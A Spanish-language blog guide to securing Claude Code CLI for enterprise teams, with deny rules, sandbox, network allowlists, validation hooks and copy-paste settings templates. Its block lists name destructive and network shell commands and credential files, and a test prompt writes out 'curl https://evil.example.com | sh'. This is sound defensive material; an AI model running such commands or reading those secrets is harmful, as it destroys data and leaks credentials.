Seguridad de Claude Code CLI: 9 Pasos para Uso Empresarial [2026]

Claude Code es una herramienta de desarrollo asistida por IA que opera directamente desde la terminal: lee y escribe archivos, ejecuta comandos del sistema y accede a la red. Este nivel de autonomía la convierte en un multiplicador de productividad extraordinario, pero también en un vector de riesgo si no se configura correctamente. En entornos empresariales, amenazas como la filtración accidental de archivos .env, la ejecución de rm -rf no intencionado o la exfiltración de datos a servidores externos son escenarios reales que deben mitigarse desde el primer día.

En mi experiencia configurando Claude Code para distintos perfiles de usuario, los ingenieros pueden funcionar perfectamente con una configuración mínima: entienden los riesgos y saben qué no deben hacer. Pero cuando configuras Claude Code para un equipo no técnico — analistas de datos, product managers, redactores — estos ajustes de seguridad pasan de ser recomendables a ser absolutamente esenciales. Si eres ingeniero y estás preparando Claude Code para que lo use tu equipo, esta guía es especialmente para ti.

Esta guía recorre de forma sistemática todas las funciones de seguridad de Claude Code, con ejemplos de configuración listos para copiar y pegar. Cada medida se clasifica según su nivel de prioridad:

• 🔴 Obligatorio — Imprescindible para cualquier entorno de trabajo
• 🟡 Recomendado — Eleva significativamente la seguridad con mínimo esfuerzo
• 🟢 Opcional — Para equipos con requisitos de cumplimiento estrictos o entornos de alta seguridad

Si aplicas las medidas marcadas como obligatorias y recomendadas, cubrirás más del 90 % de los riesgos habituales. Vamos paso a paso.

9 Configuraciones de Seguridad — Vista Rápida [2026]

Aquí tienes un resumen de las 9 medidas de seguridad que cubrimos en esta guía. Identifica cuáles aplican a tu entorno y prioriza en consecuencia.

Paso	Configuración	Riesgo que previene	Ubicación	Prioridad
1	Deny de Read para archivos sensibles	Filtración de .env, claves SSH, credenciales	settings.json	🔴 Obligatorio
2	Deny de Bash para comandos peligrosos	rm -rf, force push, exfiltración de datos	settings.json	🔴 Obligatorio
3	Activar sandbox	Escrituras fuera del proyecto, daño al sistema	settings.json	🔴 Obligatorio
4	Restricciones de red	Conexiones salientes no deseadas	settings.json	🟡 Recomendado
5	Desactivar Bypass Permissions	Omisión de todos los controles de permisos	managed-settings.json	🔴 Org Obligatorio / 🟡 Personal Recomendado
6	Hooks PreToolUse	Patrones dinámicos no cubiertos por deny	settings.json + hooks/	🟡 Recomendado
7	Auditoría de permisos	Acumulación de permisos innecesarios	~/.claude/settings.json	🟡 Recomendado
8	Dev Container	Acceso total al entorno host	.devcontainer/	🟢 Opcional
9	Managed Settings	Usuarios relajando la configuración	managed-settings.json	🔴 Org Obligatorio / 🟢 Personal Opcional

Mapa de archivos de configuración — Dónde está cada cosa

Antes de tocar ningún ajuste, conviene entender la jerarquía de archivos de configuración de Claude Code. Cada nivel tiene un propósito distinto y un alcance diferente.

Archivo	Ubicación	Propósito	Alcance
~/.claude/settings.json	Home del usuario	Preferencias globales del usuario	Todas las sesiones del usuario
.claude/settings.json	Raíz del proyecto	Reglas compartidas del equipo (se versiona en Git)	Solo este proyecto
.claude/settings.local.json	Raíz del proyecto	Ajustes locales del desarrollador (en .gitignore)	Solo este proyecto, solo este equipo
Managed Settings (Enterprise)	/etc/claude/ o MDM	Políticas organizacionales impuestas por IT	Todos los usuarios de la organización
.claude/hooks/	Raíz del proyecto o Home	Scripts de validación pre/post herramienta	Proyecto o usuario

Comprender los riesgos de seguridad de Claude Code

Antes de aplicar las medidas de seguridad, es fundamental entender contra qué nos protegemos. Claude Code interactúa con el sistema de tres formas principales: lectura/escritura de archivos, ejecución de comandos y acceso a la red. Cada vector abre posibles escenarios de riesgo. Para implementaciones empresariales, gestionar estos riesgos como parte de la estrategia de prevención de fugas de datos es fundamental.

---

Si solo haces tres cosas, que sean estas

Configurar los 9 pasos es lo ideal, pero si tienes prisa, los tres controles de mayor impacto cubren por sí solos cerca del 80 % del riesgo real.

Mi política personal — máquina de trabajo vs. máquina personal

Aplico configuraciones distintas en mi máquina de trabajo y en la personal. La razón es simple: en mi máquina personal no hay nada crítico para el negocio, así que un accidente es recuperable. En la del trabajo, una fuga o un comando destructivo podría afectar a clientes y compañeros, así que me inclino claramente por lo más estricto.

Encontrarás un cuadro «Mi nivel de implementación» al final de cada paso, para que veas qué controles aplico realmente en cada tipo de máquina.

---

Paso 1 — Bloquear acceso de Claude Code a archivos sensibles

🔴 Obligatorio

Dónde configurarlo

• Para todo el equipo: .claude/settings.json (se versiona con el código)
• Para uso personal: ~/.claude/settings.json
• Para la organización: Managed Settings en /etc/claude/settings.json

Reglas de denegación de lectura (Read deny)

Las reglas permissions.deny utilizan patrones glob para bloquear el acceso. Claude Code rechazará cualquier intento de lectura que coincida con estos patrones, sin pedir confirmación al usuario.

// .claude/settings.json (proyecto — compartido con el equipo)
{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "deny": [
      "Read(.env)",
      "Read(.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(**/*credentials*)",
      "Read(**/*secret*)",
      "Read(**/*.pem)",
      "Read(**/*.key)",
      "Read(**/*.p12)",
      "Read(**/*.pfx)",
      "Read(**/*.jks)",
      "Read(**/id_rsa*)",
      "Read(**/id_ed25519*)",
      "Read(**/.ssh/*)",
      "Read(**/.aws/credentials)",
      "Read(**/.gcloud/*.json)",
      "Read(**/serviceAccountKey*.json)",
      "Read(**/.kube/config)",
      "Read(**/*.keystore)"
    ]
  }
}

Bloquear también la escritura en rutas críticas

Además de la lectura, conviene impedir que Claude modifique archivos de configuración del sistema o de CI/CD que podrían ser vectores de ataque:

// Añadir al array "deny"
"Edit(.github/workflows/**)",
"Edit(.gitlab-ci.yml)",
"Edit(Dockerfile*)",
"Edit(docker-compose*.yml)",
"Edit(Makefile)",
"Edit(**/package.json)",
"Write(.github/workflows/**)",
"Write(.gitlab-ci.yml)"

Paso 2 — Prohibir comandos peligrosos

🔴 Obligatorio

Reglas de denegación para Bash

// .claude/settings.json o ~/.claude/settings.json
{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "deny": [
      "Bash(rm -rf *)",
      "Bash(rm -rf /)",
      "Bash(rm -rf ~)",
      "Bash(rm -rf .)",
      "Bash(rm -rf /*)",
      "Bash(find*-delete*)",
      "Bash(find*-exec*rm*)",
      "Bash(*::: rm *)",
      "Bash(git push*--force*)",
      "Bash(git push*-f *)",
      "Bash(git reset --hard*)",
      "Bash(git clean -fd*)",
      "Bash(git checkout -- .)",
      "Bash(*DROP TABLE*)",
      "Bash(*DROP DATABASE*)",
      "Bash(*TRUNCATE*)",
      "Bash(*DELETE FROM*WHERE 1*)",
      "Bash(curl*|*sh)",
      "Bash(curl*|*bash)",
      "Bash(wget*|*sh)",
      "Bash(wget*|*bash)",
      "Bash(chmod 777*)",
      "Bash(chmod -R 777*)",
      "Bash(sudo *)",
      "Bash(su -c *)",
      "Bash(*> /dev/sda*)",
      "Bash(mkfs.*)",
      "Bash(dd if=*)",
      "Bash(:(){ :|:& };:)"
    ]
  }
}

Estrategia allowlist vs denylist

El enfoque anterior es una lista de denegación (denylist): bloquea lo conocido como peligroso. Un enfoque más restrictivo es la lista de permitidos (allowlist), donde solo se permiten comandos explícitamente autorizados:

// Enfoque allowlist (más restrictivo)
{
  "permissions": {
    "allow": [
      "Bash(git status*)",
      "Bash(git diff*)",
      "Bash(git log*)",
      "Bash(git add*)",
      "Bash(git commit*)",
      "Bash(npm test*)",
      "Bash(npm run lint*)",
      "Bash(npx tsc*)",
      "Bash(cat *)",
      "Bash(ls *)",
      "Bash(find *-name*)",
      "Bash(grep *)"
    ]
  }
}

Paso 3 — Activar el sandbox de Claude Code

🔴 Obligatorio

Activar el sandbox básico

Claude Code utiliza mecanismos nativos del sistema operativo para implementar el sandbox: sandbox-exec en macOS y Docker/namespace en Linux. Para activarlo:

// ~/.claude/settings.json o Managed Settings
{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "defaultMode": "allowEdits",
    "additionalDirectories": []
  },
  "sandbox": {
    "enabled": true
  }
}

Restricciones del sistema de archivos

Cuando el sandbox está activo, Claude Code solo puede acceder a:

Bloquear ejecución sin sandbox

Para garantizar que Claude Code nunca se ejecute sin sandbox, especialmente útil como política organizacional:

// Managed Settings (/etc/claude/settings.json)
{
  "sandbox": {
    "enabled": true,
    "lockdown": true
  }
}

Con lockdown: true, Claude Code se negará a iniciar si no puede activar el sandbox correctamente. Esto previene situaciones donde el sandbox falle silenciosamente y Claude Code opere sin restricciones.

Paso 4 — Restringir el acceso a la red

🟡 Recomendado

Configuración de la red

// ~/.claude/settings.json o .claude/settings.json
{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "network": {
    "allowedDomains": [
      "api.anthropic.com",
      "github.com",
      "api.github.com",
      "registry.npmjs.org",
      "pypi.org",
      "files.pythonhosted.org",
      "rubygems.org",
      "crates.io",
      "cdn.jsdelivr.net"
    ]
  },
  "permissions": {
    "deny": [
      "Bash(curl*)",
      "Bash(wget*)",
      "Bash(nc *)",
      "Bash(netcat *)",
      "Bash(telnet *)",
      "Bash(ssh *)"
    ]
  }
}

Estrategia por entorno

Entorno	Dominios permitidos	Notas
Desarrollo local	API de Anthropic + registros de paquetes + Git	Suficiente para la mayoría de flujos
CI/CD	Solo API de Anthropic + repositorio privado	Mínimo acceso posible
Alta seguridad	Solo API de Anthropic a través de proxy corporativo	Combinar con firewall de red

Paso 5 — Desactivar Bypass Permissions

🔴 Obligatorio (Org)

🟡 Recomendado (Personal)

Qué es el modo Bypass Permissions

Cuando el usuario activa el modo bypass (por ejemplo con la bandera --dangerously-skip-permissions), Claude Code ejecuta todas las operaciones sin pedir confirmación: lectura de archivos, escritura, ejecución de comandos y acceso a la red. Todas las reglas allow/deny se ignoran.

Cómo desactivarlo

// Managed Settings (/etc/claude/settings.json) — nivel organizacional
{
  "permissions": {
    "disableBypassPermissionsMode": "disable"
  }
}

Para uso personal, puedes configurarlo en ~/.claude/settings.json:

// ~/.claude/settings.json — nivel de usuario
{
  "permissions": {
    "disableBypassPermissionsMode": "disable"
  }
}

Paso 6 — Reforzar la seguridad de Claude Code con hooks

🟡 Recomendado

Hook PreToolUse — Validar antes de ejecutar

El hook PreToolUse se ejecuta antes de que Claude Code utilice cualquier herramienta. Recibe un objeto JSON con la herramienta solicitada y sus parámetros vía stdin. Puede aprobar, rechazar o modificar la operación.

// .claude/settings.json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "/path/to/validate-bash.sh"
          }
        ]
      },
      {
        "matcher": "Read",
        "hooks": [
          {
            "type": "command",
            "command": "/path/to/validate-read.sh"
          }
        ]
      }
    ]
  }
}

Ejemplo: Script de validación para Bash

#!/bin/bash
# validate-bash.sh — Rechaza comandos que contengan secretos en la salida
INPUT=$(cat -)
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command')

# Bloquear intentos de leer secretos mediante comandos
if echo "$COMMAND" | grep -qiE '(cat|less|head|tail|more).*.(env|pem|key)'; then
  echo '{"decision": "deny", "reason": "Acceso a archivo sensible detectado en el comando"}'
  exit 0
fi

# Bloquear envío de datos a dominios desconocidos
if echo "$COMMAND" | grep -qiE 'curl.*-d|curl.*--data|wget.*--post'; then
  echo '{"decision": "deny", "reason": "Envío de datos POST no autorizado"}'
  exit 0
fi

# Aprobar el resto
echo '{"decision": "approve"}'

Hook PostToolUse — Auditar después de ejecutar

El hook PostToolUse se ejecuta después de cada operación. Es ideal para auditoría y registro:

#!/bin/bash
# audit-log.sh — Registra cada operación en un log de auditoría
INPUT=$(cat -)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
TIMESTAMP=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
SESSION=$(echo "$INPUT" | jq -r '.session_id')

echo "{"timestamp":"$TIMESTAMP","session":"$SESSION","tool":"$TOOL"}" 
  >> /var/log/claude-code/audit.jsonl

Otros eventos de hooks disponibles

Evento	Momento de ejecución	Uso típico
PreToolUse	Antes de cada operación de herramienta	Validación, filtrado, bloqueo
PostToolUse	Después de cada operación de herramienta	Auditoría, registro, notificaciones
Notification	Cuando Claude Code genera una notificación	Alertas a Slack/Teams, métricas
Stop	Cuando la sesión finaliza	Limpieza, informe final, métricas de sesión

Para aplicar reglas de seguridad de forma confiable, considera usar Claude Hooks. Nuestra guía cubre cómo bloquear comandos peligrosos con PreToolUse y enviar registros de auditoría por HTTP.

---

Opcional — Endurecer servidores MCP cuando los uses

🟡 Solo si te aplica

Claude Code puede conectarse a sistemas externos mediante servidores MCP (Model Context Protocol). Son potentes, pero Anthropic no los audita — la regla práctica es ejecutar solo servidores de proveedores en los que de verdad confíes.

• Usa solo proveedores de confianza — Lee el código fuente de cualquier servidor MCP publicado por una persona o cuenta anónima antes de instalarlo.
• Versiona en el control de código tu lista de servidores MCP permitidos — para que el equipo vea cuáles están habilitados y nadie añada uno por su cuenta.
• Trata MCP como un canal potencial de exfiltración — Los servidores MCP pueden leer el contenido del prompt, así que un servidor comprometido es un canal de fuga para todo lo que hayas conversado.
• Nunca saltes la verificación de confianza — Las primeras conexiones merecen el mismo escrutinio que instalar una dependencia nueva.

Paso 7 — Auditar permisos periódicamente

🟡 Recomendado

Comando /permissions

Dentro de una sesión de Claude Code, el comando /permissions muestra un resumen completo de todas las reglas activas, incluyendo su origen (usuario, proyecto, organización):

$ claude
> /permissions

Permissions Summary
━━━━━━━━━━━━━━━━━━━━
Source: ~/.claude/settings.json (User)
  DENY: Read(.env), Read(.env.*), Bash(rm -rf *)

Source: .claude/settings.json (Project)
  DENY: Read(**/.aws/credentials), Edit(.github/workflows/**)
  ALLOW: Bash(npm test*), Bash(git *)

Source: /etc/claude/settings.json (Managed)
  DENY: Bash(sudo *), Bash(curl*|*sh)
  permissions.disableBypassPermissionsMode: "disable"

Principio de mínimo privilegio

Revisa periódicamente los permisos concedidos y aplica el principio de mínimo privilegio:

• Elimina permisos que ya no se necesiten. Si un proyecto dejó de usar Docker, elimina los permisos de Docker.
• Revisa los permisos aceptados por sesión. Cada vez que un usuario acepta un permiso en la sesión interactiva, este puede persistir. Verifica que no se hayan acumulado permisos innecesarios.
• Compara entre entornos. Las reglas de desarrollo pueden ser más laxas que las de producción/CI. Asegúrate de que cada entorno tenga reglas adecuadas.

Persistencia de permisos entre sesiones

Cuando un usuario acepta un permiso durante una sesión interactiva («Permitir siempre»), Claude Code lo guarda en ~/.claude/settings.json bajo la sección allow. Estos permisos persisten entre sesiones. Para revocarlos:

# Revisar permisos acumulados
cat ~/.claude/settings.json | jq '.permissions'

# Editar manualmente para eliminar permisos innecesarios
# O resetear completamente la sección "allow"
claude config set permissions.allow '[]'

Paso 8 — Aislar con contenedores de desarrollo

🟢 Opcional

Configuración de devcontainer

Crea un archivo .devcontainer/devcontainer.json en la raíz del proyecto:

// .devcontainer/devcontainer.json
{
  "name": "Claude Code Secure Dev",
  "image": "mcr.microsoft.com/devcontainers/base:ubuntu",
  "features": {
    "ghcr.io/devcontainers/features/node:1": {
      "version": "20"
    }
  },
  "postCreateCommand": "npm install -g @anthropic-ai/claude-code",
  "containerEnv": {
    "ANTHROPIC_API_KEY": "${localEnv:ANTHROPIC_API_KEY}"
  },
  "mounts": [
    "source=${localWorkspaceFolder},target=/workspace,type=bind"
  ],
  "runArgs": [
    "--network=claude-net",
    "--cap-drop=ALL",
    "--security-opt=no-new-privileges"
  ]
}

Script de firewall para el contenedor

Crea una red Docker personalizada con reglas de firewall que solo permitan el tráfico necesario:

#!/bin/bash
# setup-claude-network.sh — Crear red Docker con restricciones

# Crear red aislada
docker network create --driver bridge claude-net

# Permitir solo tráfico a la API de Anthropic y registros de paquetes
# (Ejecutar en el host o como reglas iptables del contenedor)
ALLOWED_DOMAINS=(
  "api.anthropic.com"
  "registry.npmjs.org"
  "github.com"
)

for domain in "${ALLOWED_DOMAINS[@]}"; do
  ips=$(dig +short "$domain" | grep -E '^[0-9]')
  for ip in $ips; do
    iptables -A DOCKER-USER -d "$ip" -j ACCEPT
  done
done

# Bloquear todo lo demás (excepto DNS)
iptables -A DOCKER-USER -p udp --dport 53 -j ACCEPT
iptables -A DOCKER-USER -p tcp --dport 53 -j ACCEPT
iptables -A DOCKER-USER -j DROP

Paso 9 — Aplicar políticas con Managed Settings

🔴 Obligatorio (Org)

🟢 Opcional (Personal)

Métodos de distribución

Método	Plataforma	Ubicación del archivo
Archivo directo	Linux / macOS	/etc/claude/settings.json
MDM (Jamf, Intune)	macOS / Windows	Distribuido mediante perfil de configuración
Chef / Ansible / Puppet	Linux	Gestionado como infraestructura como código
Imagen Docker base	Contenedores	Incluido en la imagen de desarrollo

Configuración recomendada para organizaciones

// /etc/claude/settings.json — Managed Settings
{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "sandbox": {
    "enabled": true,
    "lockdown": true
  },
  "permissions": {
    "disableBypassPermissionsMode": "disable",
    "deny": [
      "Read(**/.env*)",
      "Read(**/*.pem)",
      "Read(**/*.key)",
      "Read(**/.ssh/*)",
      "Read(**/.aws/credentials)",
      "Bash(sudo *)",
      "Bash(rm -rf *)",
      "Bash(curl*|*sh)",
      "Bash(wget*|*sh)",
      "Bash(git push*--force*)",
      "Bash(chmod 777*)",
      "Edit(.github/workflows/**)"
    ]
  },
  "network": {
    "allowedDomains": [
      "api.anthropic.com",
      "github.com",
      "api.github.com",
      "registry.npmjs.org"
    ]
  }
}

---

Desplegar Claude Code a perfiles no técnicos

He desplegado Claude Code a compañeros no técnicos, y esa experiencia me enseñó que el manual orientado a ingenieros se rompe en cuanto toca la realidad. Esto es lo que sí funciona.

Las tres cosas que tienes que enseñar

1. Nunca pulses «bypass permissions» — el atajo de «aprobar todo» es la forma más rápida de provocar un incidente.
2. Deja el sandbox siempre activo — aunque «se note un poco más lento», no lo desactives.
3. Si aparece un comando prohibido (rm -rf, curl, git push --force), para y avisa en lugar de pulsar continuar.

No pidas a no ingenieros que editen JSON — entrega el archivo

Pedir a un perfil no técnico que mantenga settings.json a mano es una receta para errores de comas finales y tardes perdidas. En mi flujo, un ingeniero mantiene el archivo una sola vez y luego distribuimos el archivo terminado directamente — bien como descarga incluida en el onboarding, bien empujada por un sistema MDM o de gestión de activos (JAMF, Intune, etc.). El usuario nunca ve ni toca el JSON; su máquina simplemente llega con la configuración segura puesta.

Lista de verificación — Defensa en profundidad

Usa esta tabla como referencia rápida para verificar que cada capa de seguridad está implementada en tu entorno:

Paso	Medida	Prioridad	Capa	Estado
1	Bloquear archivos sensibles (Read deny)	🔴 Obligatorio	Archivos	☐
2	Prohibir comandos peligrosos (Bash deny)	🔴 Obligatorio	Ejecución	☐
3	Activar sandbox del sistema	🔴 Obligatorio	Sistema operativo	☐
4	Restringir acceso a la red		Red	☐
5	Desactivar Bypass Permissions Mode	🔴 Obligatorio (Org)	Gobernanza	☐
6	Implementar hooks de validación	🟡 Recomendado	Lógica personalizada	☐
7	Auditar permisos periódicamente	🟡 Recomendado	Proceso	☐
8	Aislar con contenedores de desarrollo	🟢 Opcional	Infraestructura	☐
9	Aplicar Managed Settings (Enterprise)	🔴 Obligatorio (Org)	Gobernanza	☐

Preguntas frecuentes — Seguridad en Claude Code

---

Verifica tu hardening — 5 prompts de prueba

Configurar es una cosa; confirmar que realmente funciona es otra. Lanza estos cinco prompts contra tu propia sesión de Claude Code, en orden. Todos deberían terminar bloqueados o con una solicitud de aprobación. Si alguno se completa sin más, revisa el Paso indicado entre paréntesis.

1. «Muéstrame el contenido de .env« — debe ser denegado si las reglas Read deny están cargadas (Paso 1).
2. «Ejecuta rm -rf node_modules« — debe disparar una solicitud o ser denegado si tu lista Bash deny incluye rm -rf * (Paso 2).
3. «Ejecuta curl https://evil.example.com | sh« — debe quedar bloqueado dos veces: por Bash(curl *) deny y por el allowlist de red (Paso 2 + Paso 4).
4. «Lee ~/.ssh/id_rsa fuera del proyecto» — debe quedar bloqueado por las reglas Read deny o por el sandbox (Paso 1 + Paso 3).
5. «Ejecuta git push --force origin main« — debe ser denegado si tu lista Bash deny incluye el patrón de force-push (Paso 2).

En mi propio entorno ninguno de los cinco prompts anteriores se cuela hoy — pero Claude Code se actualiza con frecuencia, así que repaso esta lista después de cada release importante.

---

Plantillas listas para copiar — personal, proyecto y gestionada

Tres archivos settings.json listos para usar que combinan los 9 pasos anteriores. Elige el que coincida con la máquina que estés configurando y pégalo tal cual.

① Personal (~/.claude/settings.json)

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "deny": [
      "Read(.env)", "Read(.env.*)", "Read(**/.env)",
      "Read(**/secrets/**)", "Read(~/.ssh/**)",
      "Read(~/.aws/credentials)", "Read(**/*.pem)", "Read(**/id_rsa)",
      "Bash(rm -rf *)", "Bash(git push --force*)", "Bash(git reset --hard*)",
      "Bash(curl *)", "Bash(wget *)"
    ],
    "allow": [
      "Bash(npm run lint*)", "Bash(npm run test*)",
      "Bash(git status*)", "Bash(git diff*)", "Bash(git log*)"
    ]
  }
}

---

② Proyecto / empresa (<proyecto>/.claude/settings.json)

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "deny": [
      "Read(.env)", "Read(.env.*)", "Read(**/.env)",
      "Read(**/secrets/**)", "Read(**/credentials*)",
      "Read(~/.ssh/**)", "Read(~/.aws/**)", "Read(~/.config/gcloud/**)",
      "Read(**/*.pem)", "Read(**/id_rsa)", "Read(**/*.key)",
      "Read(~/.kube/config)",
      "Bash(sudo *)", "Bash(rm -rf *)", "Bash(dd if=*)", "Bash(mkfs.*)",
      "Bash(curl *)", "Bash(wget *)",
      "Bash(git push --force*)", "Bash(git reset --hard*)",
      "Bash(terraform destroy *)", "Bash(kubectl delete ns *)",
      "Bash(*DROP TABLE*)", "Bash(*DROP DATABASE*)"
    ],
    "allow": [
      "Bash(npm run *)", "Bash(pnpm run *)",
      "Bash(git status*)", "Bash(git diff*)", "Bash(git log*)"
    ]
  },
  "sandbox": {
    "enabled": true,
    "lockdown": true
  },
  "network": {
    "allowedDomains": [
      "github.com", "api.github.com", "registry.npmjs.org",
      "pypi.org", "api.anthropic.com"
    ]
  },
  "hooks": {
    "PreToolUse": [
      { "matcher": "Bash", "hooks": [ { "type": "command", "command": ".claude/hooks/pre-bash-check.sh" } ] }
    ]
  }
}

---

③ Gestionada por la organización (managed-settings.json)

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "allowManagedPermissionRulesOnly": true,
  "allowManagedHooksOnly": true,
  "permissions": {
    "disableBypassPermissionsMode": "disable",
    "deny": [
      "Read(.env)", "Read(.env.*)", "Read(**/.env)",
      "Read(**/secrets/**)", "Read(~/.ssh/**)", "Read(~/.aws/**)",
      "Read(**/*.pem)", "Read(**/id_rsa)",
      "Bash(sudo *)", "Bash(rm -rf *)",
      "Bash(curl *)", "Bash(wget *)",
      "Bash(git push --force*)",
      "Bash(terraform destroy *)", "Bash(kubectl delete ns *)"
    ]
  },
  "sandbox": {
    "enabled": true,
    "lockdown": true
  },
  "network": {
    "allowManagedDomainsOnly": true,
    "allowedDomains": ["github.com", "api.github.com", "registry.npmjs.org", "api.anthropic.com"]
  }
}

---

Conclusión

Claude Code es una herramienta que transforma la manera en que los desarrolladores trabajan con código. Su capacidad de leer, escribir y ejecutar directamente desde la terminal la hace increíblemente productiva, pero esa misma autonomía exige un marco de seguridad robusto en entornos profesionales. Tras meses de uso y configuración para distintos perfiles, mi recomendación es clara: para ingenieros experimentados, los Pasos 1 a 3 suelen ser suficientes en el día a día. Para equipos con perfiles no técnicos, recomiendo implementar los 9 pasos completos sin excepción.

La buena noticia es que Claude Code fue diseñado con la seguridad como prioridad. El sistema de permisos por capas, el sandbox nativo, los hooks de validación y las Managed Settings empresariales proporcionan todas las herramientas necesarias para usarlo de forma segura incluso en los entornos más exigentes.

El enfoque correcto no es elegir entre productividad y seguridad, sino implementar las medidas adecuadas para tu contexto. Con las configuraciones explicadas en esta guía, puedes aprovechar todo el potencial de Claude Code sin comprometer la integridad de tu código, tus datos ni tu infraestructura.

👉 15 técnicas de eficiencia para Claude Code

👉 Claude Code CLI vs Web vs Desktop — ¿Cuál deberías usar?

👉 Guía completa de Claude Code Skills